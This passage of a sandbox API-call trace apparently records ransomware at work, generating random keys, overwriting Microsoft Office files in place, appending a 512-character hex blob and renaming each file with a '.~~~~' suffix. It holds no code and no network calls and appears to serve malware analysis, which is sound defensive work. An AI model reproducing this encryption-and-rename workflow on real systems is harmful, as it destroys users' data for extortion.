	[0133.549] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x51d, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x51d, lpOverlapped=0x0) returned 1
	[0133.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.552] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.552] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.552] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.552] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.552] CloseHandle (hObject=0xc4) returned 1
	[0133.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ab8
	[0133.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.~~~~")) returned 1
	[0133.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ab8 | out: hHeap=0x300000) returned 1
	[0133.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.555] GetLastError () returned 0x0
	[0133.556] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2908648) returned 1
	[0133.558] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.558] CryptReleaseContext (hProv=0x2908648, dwFlags=0x0) returned 1
	[0133.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.558] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25354798528) returned 1
	[0133.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb90bbbd0, dwHighDateTime=0x1d60e1e)) 
	[0133.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824638
	[0133.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824638 | out: hHeap=0x300000) returned 1
	[0133.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8a20
	[0133.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.559] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.559] GetLastError () returned 0x0
	[0133.559] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.559] GetLastError () returned 0x0
	[0133.563] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.563] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0133.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.568] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.568] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.570] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.570] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.570] CloseHandle (hObject=0xc4) returned 1
	[0133.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8a20
	[0133.570] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll.~~~~")) returned 1
	[0133.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8a20 | out: hHeap=0x300000) returned 1
	[0133.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.573] GetLastError () returned 0x0
	[0133.573] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x29085c0) returned 1
	[0133.574] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.574] CryptReleaseContext (hProv=0x29085c0, dwFlags=0x0) returned 1
	[0133.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.575] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25356519927) returned 1
	[0133.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb90e1d30, dwHighDateTime=0x1d60e1e)) 
	[0133.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824670
	[0133.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0133.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824670 | out: hHeap=0x300000) returned 1
	[0133.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0133.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0133.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.576] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.576] GetLastError () returned 0x0
	[0133.576] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.576] GetLastError () returned 0x0
	[0133.616] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.616] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0133.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.619] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.619] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.711] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.712] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.712] CloseHandle (hObject=0xc4) returned 1
	[0133.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836258
	[0133.712] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.~~~~")) returned 1
	[0133.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2836258 | out: hHeap=0x300000) returned 1
	[0133.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.784] GetLastError () returned 0x0
	[0133.802] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1148) returned 1
	[0133.803] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.803] CryptReleaseContext (hProv=0x3a1148, dwFlags=0x0) returned 1
	[0133.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.803] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25379313714) returned 1
	[0133.803] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb931d1d0, dwHighDateTime=0x1d60e1e)) 
	[0133.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824948
	[0133.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824948 | out: hHeap=0x300000) returned 1
	[0133.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4798
	[0133.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.804] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.804] GetLastError () returned 0x0
	[0133.804] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.804] GetLastError () returned 0x0
	[0133.817] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.817] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0133.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.820] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.820] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.820] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.820] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.820] CloseHandle (hObject=0x104) returned 1
	[0133.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0133.821] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css.~~~~")) returned 1
	[0133.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8690 | out: hHeap=0x300000) returned 1
	[0133.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.823] GetLastError () returned 0x0
	[0133.824] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1038) returned 1
	[0133.825] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.825] CryptReleaseContext (hProv=0x3a1038, dwFlags=0x0) returned 1
	[0133.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.825] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25381558326) returned 1
	[0133.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb9369490, dwHighDateTime=0x1d60e1e)) 
	[0133.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28249b8
	[0133.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28249b8 | out: hHeap=0x300000) returned 1
	[0133.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0133.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.826] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.827] GetLastError () returned 0x0
	[0133.827] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.827] GetLastError () returned 0x0
	[0133.830] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.830] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0133.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.835] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.835] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.840] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.840] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.841] CloseHandle (hObject=0x104) returned 1
	[0133.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4830
	[0133.905] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.~~~~")) returned 1
	[0134.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4830 | out: hHeap=0x300000) returned 1
	[0134.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0134.018] GetLastError () returned 0x0
	[0134.019] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0f28) returned 1
	[0134.020] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.020] CryptReleaseContext (hProv=0x3a0f28, dwFlags=0x0) returned 1
	[0134.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0134.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0134.020] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25401059359) returned 1
	[0134.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb9532510, dwHighDateTime=0x1d60e1e)) 
	[0134.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0134.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0134.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0134.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824a98
	[0134.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824a98 | out: hHeap=0x300000) returned 1
	[0134.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4830
	[0134.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.021] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0134.022] GetLastError () returned 0x0
	[0134.025] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0134.025] GetLastError () returned 0x0
	[0134.032] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
